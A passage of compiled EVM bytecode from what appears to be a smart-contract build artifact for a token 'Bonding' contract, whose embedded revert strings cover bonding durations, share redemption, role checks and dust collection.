15fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561097057600080fd5b60405163cc2b27d760e01b815260048101839052600160248201526000906064906001600160a01b0384169063cc2b27d79060440160206040518083038186803b158015611a4757600080fd5b505afa158015611a5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7f9190613747565b611a8a9060636138e5565b611a9491906138d1565b604051630d2680e960e11b81526004810185905260016024820152604481018290529091506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015611ae757600080fd5b505af1158015611afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1f9190613747565b50600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015611b6e57600080fd5b505afa158015611b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba691906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611be057600080fd5b505af1158015611bf4573d6000803e3d6000fd5b505050506105f5600360009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4957600080fd5b505afa158015611c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8191906136cb565b600360009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015611ccf57600080fd5b505afa158015611ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0791906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015611d4857600080fd5b505afa158015611d5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d809190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015611e1b57600080fd5b505afa158015611e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e539190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611e9057600080fd5b505afa158015611ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec89190613727565b611f025760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b600480547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fede46239079ed9c62ee2a695104eb8fcdb9fb7b8ad77863caa0641b7e2fa52019060200161075f565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015611fb557600080fd5b505afa158015611fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fed9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561202a57600080fd5b505afa15801561203e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120629190613727565b61209c5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60058190556040518181527fd04894175d9fa4e8890c5d32ca8845426912f890c3d8ac5b5a561045892f89959060200161075f565b600080600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561212257600080fd5b505afa158015612136573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061215a91906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561219b57600080fd5b505afa1580156121af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d39190613747565b90506000600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561222557600080fd5b505afa158015612239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225d91906136cb565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561229557600080fd5b505afa1580156122a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122cd9190613747565b9050600360009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561231d57600080fd5b505afa158015612331573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235591906136cb565b60405163cd32420960e01b81526004810184905260248101839052670de0b6b3a764000060448201526001600160a01b03919091169063cd3242099060640160206040518083038186803b1580156123ac57600080fd5b505afa1580156123c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e49190613747565b9250505090565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561243857600080fd5b505afa15801561244c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124709190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156124ad57600080fd5b505afa1580156124c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e59190613727565b61251f5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b61252881612f65565b50565b60008160011115801561253f575060d08211155b6125b15760405162461bcd60e51b815260206004820152603160248201527f426f6e64696e673a206475726174696f6e206d7573742062652062657477656560448201527f6e203120616e6420323038207765656b7300000000000000000000000000000060648201526084016105e1565b6125b9612e8b565b612656333085600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561260d57600080fd5b505afa158015612621573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061264591906136cb565b6001600160a01b0316929190613027565b600354604080516310a7bc4160e11b815290516000926001600160a01b03169163214f7882916004808301926020929190829003018186803b15801561269b57600080fd5b505afa1580156126af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126d391906136cb565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b15801561272757600080fd5b505afa15801561273b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275f9190613747565b905060006007548461277191906138e5565b61277b90436138b9565b90506008548161278b9190613982565b6127959082613904565b92506127a1828461305f565b600360009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ef57600080fd5b505afa158015612803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061282791906136cb565b604051636e553f6560e01b8152600481018490523360248201526001600160a01b039190911690636e553f6590604401600060405180830381600087803b15801561287157600080fd5b505af1158015612885573d6000803e3d6000fd5b50505050505092915050565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156128de57600080fd5b505afa1580156128f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129169190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561295357600080fd5b505afa158015612967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298b9190613727565b6129c55760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b612528816131cd565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015612a1b57600080fd5b505afa158015612a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a539190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015612a9057600080fd5b505afa158015612aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ac89190613727565b612b025760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60098190556040518181527f291233015412afe6d80870385b5c5eaa1bd28ef79ce03048c75522fa8ac77f219060200161075f565b6001600160a01b038316612bb35760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a63616e742d73656e642d6475737460448201527f2d746f2d7a65726f2d616464726573730000000000000000000000000000000060648201526084016105e1565b612bbe600083613282565b15612c235760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b60648201526084016105e1565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612c84576040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015612c7e573d6000803e3d6000fd5b50612c98565b612c986001600160a01b0383168483612e5b565b604080516001600160a01b038086168252841660208201529081018290527f1e34c1aee8e83c2dcc14c21bb4bfeea7f46c0c998cb797ac7cc4d7a18f5c656b9060600160405180910390a1505050565b801580612d715750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015612d3757600080fd5b505afa158015612d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d6f9190613747565b155b612de35760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084016105e1565b6040516001600160a01b0383166024820152604481018290526105f590849063095ea7b360e01b906064015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166001600160e01b0319909316929092179091526132a9565b6040516001600160a01b0383166024820152604481018290526105f590849063a9059cbb60e01b90606401612e0f565b600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612ed957600080fd5b505afa158015612eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f1191906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612f4b57600080fd5b505af1158015612f5f573d6000803e3d6000fd5b50505050565b612f70600082613282565b612fe25760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d6e6f742d7061727460448201527f2d6f662d7468652d70726f746f636f6c0000000000000000000000000000000060648201526084016105e1565b612fed60008261338e565b506040516001600160a01b03821681527fddd12a8c3ce9bea5c97a5d25c8b777caab85752828f56b7b8ad5a0b30340a25f9060200161075f565b6040516001600160a01b0380851660248301528316604482015260648101829052612f5f9085906323b872dd60e01b90608401612e0f565b60006130696120d1565b9050806130de5760405162461bcd60e51b815260206004820152602760248201527f426f6e64696e673a2073686172652076616c75652073686f756c64206e6f742060448201527f6265206e756c6c0000000000000000000000000000000000000000000000000060648201526084016105e1565b600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561312c57600080fd5b505afa158015613140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061316491906136cb565b6001600160a01b031663731133e933848660026040518563ffffffff1660e01b815260040161319694939291906137e0565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b50505050505050565b6131d8600082613282565b1561323d5760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b60648201526084016105e1565b6132486000826133a3565b506040516001600160a01b03821681527fa3e4ba856dd0fdee3a33ab9b82499fd01f05236f3d08cc4e7108698c6e3e7e509060200161075f565b6001600160a01b038116600090815260018301602052604081205415155b90505b92915050565b60006132fe826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166133b89092919063ffffffff16565b8051909150156105f5578080602001905181019061331c9190613727565b6105f55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016105e1565b60006132a0836001600160a01b0384166133d1565b60006132a0836001600160a01b0384166134e8565b60606133c78484600085613537565b90505b9392505050565b600081815260018301602052604081205480156134de5760006133f5600183613904565b855490915060009061340990600190613904565b9050600086600001828154811061343057634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061346157634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600189019091526040902084905586548790806134a257634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506132a3565b60009150506132a3565b600081815260018301602052604081205461352f575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556132a3565b5060006132a3565b6060824710156135af5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016105e1565b843b6135fd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016105e1565b600080866001600160a01b0316858760405161361991906137c4565b60006040518083038185875af1925050503d8060008114613656576040519150601f19603f3d011682016040523d82523d6000602084013e61365b565b606091505b509150915061366b828286613676565b979650505050505050565b606083156136855750816133ca565b8251156136955782518084602001fd5b8160405162461bcd60e51b81526004016105e191906138a6565b6000602082840312156136c0578081fd5b81356133ca816139c2565b6000602082840312156136dc578081fd5b81516133ca816139c2565b6000806000606084860312156136fb578182fd5b8335613706816139c2565b92506020840135613716816139c2565b929592945050506040919091013590565b600060208284031215613738578081fd5b815180151581146133ca578182fd5b600060208284031215613758578081fd5b5051919050565b600060208284031215613770578081fd5b5035919050565b60008060408385031215613789578182fd5b50508035926020909101359150565b600081518084526137b081602086016020860161391b565b601f01601f19169290920160200192915050565b600082516137d681846020870161391b565b9190910192915050565b60006001600160a01b0386168252602085818401528460408401526080606084015281845483600182811c91508083168061381c57607f831692505b85831081141561383a57634e487b7160e01b87526022600452602487fd5b6080880183905260a08801818015613859576001811461386a57613894565b60ff19861682528782019650613894565b60008b815260209020895b8681101561388e57815484820152908501908901613875565b83019750505b50949c9b505050505050505050505050565b6000602082526132a06020830184613798565b600082198211156138cc576138cc613996565b500190565b6000826138e0576138e06139ac565b500490565b60008160001904831182151516156138ff576138ff613996565b500290565b60008282101561391657613916613996565b500390565b60005b8381101561393657818101518382015260200161391e565b83811115612f5f5750506000910152565b600181811c9082168061395b57607f821691505b6020821081141561397c57634e487b7160e01b600052602260045260246000fd5b50919050565b600082613991576139916139ac565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461252857600080fdfe43616c6c6572206973206e6f74206120626f6e64696e67206d616e6167657200a164736f6c6343000803000a", - "deployedBytecode": "0x60806040526004361061019a5760003560e01c80638039d081116100e1578063aadc68a51161008a578063e2bbb15811610064578063e2bbb1581461043b578063e8a8fad51461045b578063fa3305c914610471578063ffd65a4914610491576101a1565b8063aadc68a5146103ea578063bf0d68e4146103ff578063c2ee3a081461041f576101a1565b8063a194bcde116100bb578063a194bcde1461038c578063a734f06e146103ac578063aa1ec70a146103d4576101a1565b80638039d081146103405780638f88f38d14610356578063900965561461036c576101a1565b8063482879aa1161014357806371cc5c0b1161011d57806371cc5c0b146102de57806373d4a13a146102fe5780637cc6bd4114610320576101a1565b8063482879aa146102895780636b71f457146102a957806371b3659e146102c9576101a1565b8063441a3e7011610174578063441a3e701461020857806347e54e3814610228578063481c6a7514610251576101a1565b80632db8c129146101a65780632f72589e146101c85780633b1ba367146101e8576101a1565b366101a157005b600080fd5b3480156101b257600080fd5b506101c66101c13660046136e7565b6104b1565b005b3480156101d457600080fd5b506101c66101e336600461375f565b6105fa565b3480156101f457600080fd5b506101c661020336600461375f565b61076a565b34801561021457600080fd5b506101c6610223366004613777565b610dd4565b34801561023457600080fd5b5061023e60095481565b6040519081526020015b60405180910390f35b34801561025d57600080fd5b50600354610271906001600160a01b031681565b6040516001600160a01b039091168152602001610248565b34801561029557600080fd5b50600454610271906001600160a01b031681565b3480156102b557600080fd5b506101c66102c436600461375f565b611307565b3480156102d557600080fd5b5061023e611470565b3480156102ea57600080fd5b506101c66102f936600461375f565b6115fd565b34801561030a57600080fd5b50610313611766565b60405161024891906138a6565b34801561032c57600080fd5b506101c661033b36600461375f565b6117f4565b34801561034c57600080fd5b5061023e60085481565b34801561036257600080fd5b5061023e60055481565b34801561037857600080fd5b506101c66103873660046136af565b611dce565b34801561039857600080fd5b506101c66103a736600461375f565b611f68565b3480156103b857600080fd5b5061027173eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b3480156103e057600080fd5b5061023e60075481565b3480156103f657600080fd5b5061023e6120d1565b34801561040b57600080fd5b506101c661041a3660046136af565b6123eb565b34801561042b57600080fd5b5061023e670de0b6b3a764000081565b34801561044757600080fd5b5061023e610456366004613777565b61252b565b34801561046757600080fd5b5061023e60065481565b34801561047d57600080fd5b506101c661048c3660046136af565b612891565b34801561049d57600080fd5b506101c66104ac36600461375f565b6129ce565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156104fe57600080fd5b505afa158015610512573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105369190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561057357600080fd5b505afa158015610587573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ab9190613727565b6105ea5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064015b60405180910390fd5b6105f5838383612b37565b505050565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156106bc57600080fd5b505afa1580156106d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f49190613727565b61072e5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60078190556040518181527f3a1c0b7d3cdecbab83b82697d51cbcdb308b3bbae63e597cbc958deb9c830e50906020015b60405180910390a150565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156107b757600080fd5b505afa1580156107cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ef9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190613727565b61089e5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b6003546040805163d3815fb960e01b815290516000926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b1580156108e357600080fd5b505afa1580156108f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091b91906136cb565b90506109b83083600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561097057600080fd5b505afa158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a891906136cb565b6001600160a01b03169190612ce8565b60405163cc2b27d760e01b815260048101839052600060248201819052906064906001600160a01b0384169063cc2b27d79060440160206040518083038186803b158015610a0557600080fd5b505afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d9190613747565b610a489060636138e5565b610a5291906138d1565b604051630d2680e960e11b81526004810185905260006024820152604481018290529091506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add9190613747565b50600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2c57600080fd5b505afa158015610b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6491906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b9e57600080fd5b505af1158015610bb2573d6000803e3d6000fd5b505050506105f5600360009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0757600080fd5b505afa158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f91906136cb565b600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8d57600080fd5b505afa158015610ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc591906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015610d0657600080fd5b505afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e9190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc491906136cb565b6001600160a01b03169190612e5b565b804311610e495760405162461bcd60e51b815260206004820152602f60248201527f426f6e64696e673a2052656465656d206e6f7420616c6c6f776564206265666f60448201527f726520626f6e64696e672074696d65000000000000000000000000000000000060648201526084016105e1565b6003546040805163310c7a0f60e21b8152905184926001600160a01b03169163c431e83c916004808301926020929190829003018186803b158015610e8d57600080fd5b505afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec591906136cb565b604051627eeac760e11b8152336004820152602481018490526001600160a01b03919091169062fdd58e9060440160206040518083038186803b158015610f0b57600080fd5b505afa158015610f1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f439190613747565b1015610fb75760405162461bcd60e51b815260206004820152602b60248201527f426f6e64696e673a2063616c6c657220646f6573206e6f74206861766520656e60448201527f6f7567682073686172657300000000000000000000000000000000000000000060648201526084016105e1565b610fbf612e8b565b600360009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b15801561100d57600080fd5b505afa158015611021573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104591906136cb565b604051627b8a6760e11b8152600481018490523360248201526001600160a01b03919091169062f714ce90604401600060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b5050505060006110af6120d1565b9050600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ff57600080fd5b505afa158015611113573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113791906136cb565b604051637a94c56560e11b815233600482015260248101849052604481018590526001600160a01b03919091169063f5298aca90606401600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506105f533600360009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122a91906136cb565b604051631ab1a8b560e31b81526004810187905260248101859052670de0b6b3a764000060448201526001600160a01b03919091169063d58d45a89060640160206040518083038186803b15801561128157600080fd5b505afa158015611295573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b99190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138c9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156113c957600080fd5b505afa1580156113dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114019190613727565b61143b5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60068190556040518181527f52e79878e695c50b75f241e6e286fa05123b26ab77b631b3d6dbae872718add79060200161075f565b60035460408051638fe6368360e01b815290516000926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156114b557600080fd5b505afa1580156114c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ed91906136cb565b6001600160a01b031663283583c6600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561154957600080fd5b505afa15801561155d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158191906136cb565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156115c057600080fd5b505afa1580156115d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f89190613747565b905090565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561164a57600080fd5b505afa15801561165e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116829190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156116bf57600080fd5b505afa1580156116d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f79190613727565b6117315760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60088190556040518181527f3ea14a9ca9078eab3bb86287b1d08190ecdf30412b4f465e05655efca79e18b59060200161075f565b6002805461177390613947565b80601f016020809104026020016040519081016040528092919081815260200182805461179f90613947565b80156117ec5780601f106117c1576101008083540402835291602001916117ec565b820191906000526020600020905b8154815290600101906020018083116117cf57829003601f168201915b505050505081565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561184157600080fd5b505afa158015611855573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118799190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156118b657600080fd5b505afa1580156118ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ee9190613727565b6119285760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b6003546040805163d3815fb960e01b815290516000926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b15801561196d57600080fd5b505afa158015611981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a591906136cb565b90506119fa3083600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561097057600080fd5b60405163cc2b27d760e01b815260048101839052600160248201526000906064906001600160a01b0384169063cc2b27d79060440160206040518083038186803b158015611a4757600080fd5b505afa158015611a5b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7f9190613747565b611a8a9060636138e5565b611a9491906138d1565b604051630d2680e960e11b81526004810185905260016024820152604481018290529091506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015611ae757600080fd5b505af1158015611afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1f9190613747565b50600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015611b6e57600080fd5b505afa158015611b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ba691906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611be057600080fd5b505af1158015611bf4573d6000803e3d6000fd5b505050506105f5600360009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015611c4957600080fd5b505afa158015611c5d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c8191906136cb565b600360009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015611ccf57600080fd5b505afa158015611ce3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0791906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015611d4857600080fd5b505afa158015611d5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d809190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663017df3276040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015611e1b57600080fd5b505afa158015611e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e539190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015611e9057600080fd5b505afa158015611ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ec89190613727565b611f025760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b600480547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040519081527fede46239079ed9c62ee2a695104eb8fcdb9fb7b8ad77863caa0641b7e2fa52019060200161075f565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015611fb557600080fd5b505afa158015611fc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fed9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561202a57600080fd5b505afa15801561203e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120629190613727565b61209c5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60058190556040518181527fd04894175d9fa4e8890c5d32ca8845426912f890c3d8ac5b5a561045892f89959060200161075f565b600080600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561212257600080fd5b505afa158015612136573d6000803e3d6000fd5